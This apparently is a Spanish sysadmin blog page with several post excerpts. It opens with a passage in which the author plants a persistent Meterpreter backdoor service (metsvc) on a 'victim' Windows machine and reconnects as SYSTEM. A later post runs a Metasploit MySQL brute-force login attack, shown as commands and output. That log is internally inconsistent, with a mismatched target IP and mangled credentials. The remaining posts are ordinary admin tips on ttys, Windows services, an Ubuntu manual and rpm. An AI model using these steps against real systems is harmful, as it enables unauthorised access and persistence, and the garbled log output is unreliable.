[*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.42:2940) at 2012-02-07 19:47:33 +0100

meterpreter> p0wned
Ya tenemos acceso al equipo y podemos hacer lo que nos plazca. Ahora lo que tocará será asegurarnos de que lo volvamos a tener cuando queramos o cuando el equipo se reinicie. Para hacer esto, lo que vamos a hacer es instalar un pequeño servidor de meterpreter en el equipo de la víctima, con el que luego nos podremos comunicar. Para hacerlo, simplemente,
meterpreter> run metsvc
[*] Creating a meterpreter service on port 3133
[*] Creating a temporary installation directory C:\WINDOWS\TEMP\ABoHpQTSPiHj...
[*]  >> Uploading metsrv.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
  * Installing service metsvc
 * Starting service
Service metsvc successfully installed.
Y luego ya podemos salir del equipos, pues ya dejamos un puerta que está a la escucha y nos permitirá acceder a él.
meterpreter> exit
[*] Shutting down Meterpreter...

[*] Meterpreter session 1 closed.  Reason: User exit
Ahora, cuando nos interesa acceder al sistema, únicamente habrá que conectar con él equipo desde el propio metasploit nuevamente. Como la IP ya la sabemos, simplemente,
msf > use exploit/multi/handler
msf  exploit(handler)> set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf  exploit(handler)> set LPORT 3133
LPORT => 3133
msf  exploit(handler)> set RHOST 192.168.1.42
RHOST => 192.168.1.42
msf  exploit(handler)> set EXITFUNC thread
EXITFUNC => thread
msf  exploit(handler)> show options

Module options (exploit/multi/handler):

Name  Setting         Required Description
----  -------         -------- -----------

Payload options (windows/metsvc_bind_tcp):

Name     Setting      Required Description
----     -------      -------- -----------
EXITFUNC thread       yes      Exit technique: seh, thread, process, none
LPORT    3133         yes      The listen port
RHOST    192.168.1.42 no       The target address

Exploit target:

Id  Name
--  ----
0   Wildcard Target

msf  exploit(handler)> exploit

[*] Started bind handler
[*] Starting the payload handler...
[*] Meterpreter session 1 opened (192.168.1.33:43057 -> 192.168.1.42:3133) at 2012-02-16 21:47:22 +0100

meterpreter >pwd
C:\WINDOWS\system32
meterpreter >getuid
Server username: NT AUTHORITY\SYSTEM
Leer más

Ocultando consolas en GNU/Linux

GNU/Linux por defecto arranca 6 tty's cuando el sistema se inicia. Cada una de estás está en una de las F's y dichos procesos con controlados por init, para que en caso de que una muera, automáticamente vuelva a la vida. Estas consolas también son las que permiten a un usuario, ya bien sea root, ya bien otro cualquiera, acceder físicamente al equipo y así poder trabajar.
Si quieres proteger algo los equipos que puedan ser accesibles, uno de los trucos más antiguos que hay, pero que sigue siendo interesante es evitar que arranquen las tty's de acceso al sistema. O dicho de otra forma, que no sea posible acceder físicamente al equipo. Para eso, tenemos que ver el fichero /etc/inittab y tendrá un contenido similar al que sigue,
shell> cat /etc/inittab
....
1:2345:respawn:/sbin/getty  38400  tty1
2:23:respawn:/sbin/getty    38400  tty2
3:23:respawn:/sbin/getty    38400  tty3
4:23:respawn:/sbin/getty    38400  tty4
5:23:respawn:/sbin/getty    38400  tty5
6:23:respawn:/sbin/getty    38400  tty6
Pues bien, si editamos las líneas del 1 al 5, evitaremos tener esas 5 primeras consolas, dejando la tty6 disponible, ya que nunca se sabe si será necesario tener que acceder físicamente el equipo.
shell> cat /etc/inittab
....
#1:2345:respawn:/sbin/getty  38400  tty1
#2:23:respawn:/sbin/getty    38400  tty2
#3:23:respawn:/sbin/getty    38400  tty3
#4:23:respawn:/sbin/getty    38400  tty4
#5:23:respawn:/sbin/getty    38400  tty5
6:23:respawn:/sbin/getty     38400  tty6
En el próximo reinicio del equipo, ya no habrá las primeras 5 tty's.
Leer más

Cómo eliminar servicios en Windows

Los servicios de Windows son un tema importante, pero hay veces que el manejo de los mismos se complica, ya bien sea por que el programa que se desinstaló no lo ha borrado o bien por que al registro de Windows le da por no dejárnoslo borrar. Pues bien, eso mismo me ha pasado recientemente con un equipo con Windows XP y el servicio bacula. Desinstalé una versión y al instalar la nueva versión ya no dejaba instalar el servicio bacula-fd. Mirando un poco, ejecuté el visor de servicios (services.msc) y vi que el servicio no estaba activo, pero sí estaba allí. No podía hacer nada, por que Windows lo había marcado como servicio para desinstalar, por lo tanto no lo podía arrancar (aunque los ejecutables volvían a existir) ni tampoco borrar. Menos mal que en estos casos la solución está en la consola, así que buscando un poco por google, aparece la solución de cómo borrar un servicio desde cmd. Para hacerlo, hay que emplear el ejecutable sc.
cmd> sc delete service
Por lo tanto, para borrar el servicio de bacula,
cmd> sc delete "Bacula Service Program"
Tras ejecutar esto, volví a tener el mismo fallo de que es imposible borrar el servicio, así que tuve que optar por una forma más brusca de realizarlo, es decir, editar el registro. Por lo tanto, vamos a inicio -> ejecutar -> regedit y buscamos la rama
HKEY_LOCAL_MACHINE\
 |
 -SYSTEM\
  |
  -CurrentControlSet\
   |
   -Services
y borramos todo lo referente al servicio que deseemos limpiar. Tras esto, ya podemos volver a instalar el servicio, esta vez relacionado con el nuevo ejecutable.
cmd> bacula-fd.exe /install
Leer más

Manual de Ubuntu 12.04 LTS

Ya está disponible el manual oficial de Ubuntu 12.04 LTS. Con el título "Getting Started with Ubuntu 12.04" se presenta un manual de 143 páginas descagable para tenerlo disponible en nuestro desktop o en papel. Está disponible en Inglés, Alemán, Griego, Holadés y Lituano y está disponible para descarga desde aquí.
Los 7 capítulos de los que consta son:
  • Instalación
  • Escritorio de Ubuntu
  • Trabajando con Ubuntu
  • Hardware
  • Gestión del software
  • Guía de problemas
  • Aprender más
Los niveles son desde lo más básico de manejo y uso de escritorio hasta cosas más avanzadas de administración. Recordar que esta es una versión LTS (Long Time Support).

Espero que lo disfrutéis!
Leer más

metasploit, MySQL brute force

En esta serie de post sobre auditoría de MySQL con metasploit, hoy vamos a comentar acerca de un módulo auxiliar que está directamente relacionado con la seguridad de las contraseñas. Vamos a ver cómo poder saber si nuestro MySQL es o no vulnerable a un ataque de diccionario o de fuerza bruta. Para ello, vamos a emplear un diccionario de palabras para usuarios y otro para contraseñas. Si no disponéis de uno, podéis generarlo o bien descargarlo de uno de los muchos sitios que los tienen, como por ejemplo skullsecurity. Una vez que tengamos el diccionario de palabras disponible, simplemente queda configurar y lanzar el ataque. Para ello,
msf> use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login)> show options

Module options (auxiliary/scanner/mysql/mysql_login):

Name              Setting  Required  Description
----              -------  --------  -----------
BLANK_PASSWORDS   true     no        Try blank passwords for all users
BRUTEFORCE_SPEED  5        yes       How fast to bruteforce, from 0 to 5
PASSWORD                   no        A specific password to authenticate
PASS_FILE                  no        File containing passwords
RHOSTS                     yes       The target address
RPORT             3306     yes       The target port
STOP_ON_SUCCESS   false    yes       Stop guessing when a credential works
THREADS           1        yes       The number of concurrent threads
USERNAME                   no        A specific username to authenticate as
USERPASS_FILE              no        File containing users and passwords
USER_AS_PASS      true     no        Try the username as the password
USER_FILE                  no        File containing usernames
VERBOSE           true     yes       Whether to print output

msf auxiliary(mysql_login)> set USER_FILE /tmp/user.list
USER_FILE => /tmp/user.list
msf auxiliary(mysql_login)> set PASS_FILE /tmp/passwd.list
PASS_FILE => /tmp/passwd.list
msf auxiliary(mysql_login)> set RHOSTS 192.168.1.54
RHOSTS => 192.168.1.5.84
msf auxiliary(mysql_login)> set THREADS 5
THREADS => 5
Ahora ejecutamos el módulo reción configurado y esperamos un rato. En caso de que no nos interese ver todas las iteraciones que hace de user + passwd, podemos establecer la variable VERBOSE a no, con lo que conseguimos una salida de sólo los y usuarios con acceso. En nuestro caso nos interesa ver todo, pero con ficheros con muchos valores, esto puede ser molesto y ralentizar mucho la ejecución.
msf  auxiliary(mysql_login) > run

[*] 192.168.1.84:3306 MYSQL-Found remote MySQL version 5.5.23
[*] 192.168.1.84:3306 MYSQL-Trying username:'user' with password:''
[+] 192.168.1.84:3306 - SUCCESSFUL LOGIN 'user' : 'user'
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:''
[*] 192.168.1.84:3306 MYSQL-failed to login as 'admin' with password ''
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'admin'
[*] 192.168.1.84:3306 MYSQL-failed to login as 'admn' with password 'adn'
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'admin'
[*] 192.168.1.84:3306 MYSQL-failed to login as 'admin' with password 'an'
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'al'
[*] 192.168.1.84:3306 MYSQL-failed to login as 'adm' with password 'al'
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'admin'
[*] 192.168.1.84:3306 MYSQL-failed to login as 'adm' with password 'amin'
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'adm'
[*] 192.168.1.84:3306 MYSQL-failed to login as 'admin' with password 'am'
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'al'
[*] 192.168.1.84:3306 MYSQL-failed to login as 'admin' with password 'al'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution complete
Las líneas en verde contendrán los usuarios con acceso válido. En nuestro caso, user-user. Para que esta auditoría sea realmente efectiva, la base de datos de usuarios y de contraseñas tiene que ser muy grande, para contemplar las más comúnmente empleadas.
Leer más

CentOS forzar desinstalación de paquetes

Por defecto y desde hace ya algunas versiones Red Hat y por lo tanto CentOS han implantado yum como herramienta para la gestión de paquetes. Sin embargo todavía queda presente el comando rpm que sigue plenamente funcional y que en determinadas ocasiones nos puede ayudar a solucionar problemas.
Como vimos en un post anterior, para desinstalar paquetes desde yum, se emplea la opción erase. En caso de que alguna dependencia falle y no se permita desinstalar el software, el comando no seguirá, por lo que si necesitamos desinstalar dicho paquete, habrá que recurrir al uso de rpm.
Por lo tanto, si interesa desinstalar un paquete, pero no todas las dependencias que éste desinstalará, lo podremos lograr así,
shell> rpm -e --nodeps PACKAGE
En caso de que el número de dependencias sea excesivo y pueda hacer algo que no interesa, se puede forzar la desinstalación de un paquete tal que así, evitando todas las dependencias.
shell> rpm -e --justdb --nodeps PACKAGE
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios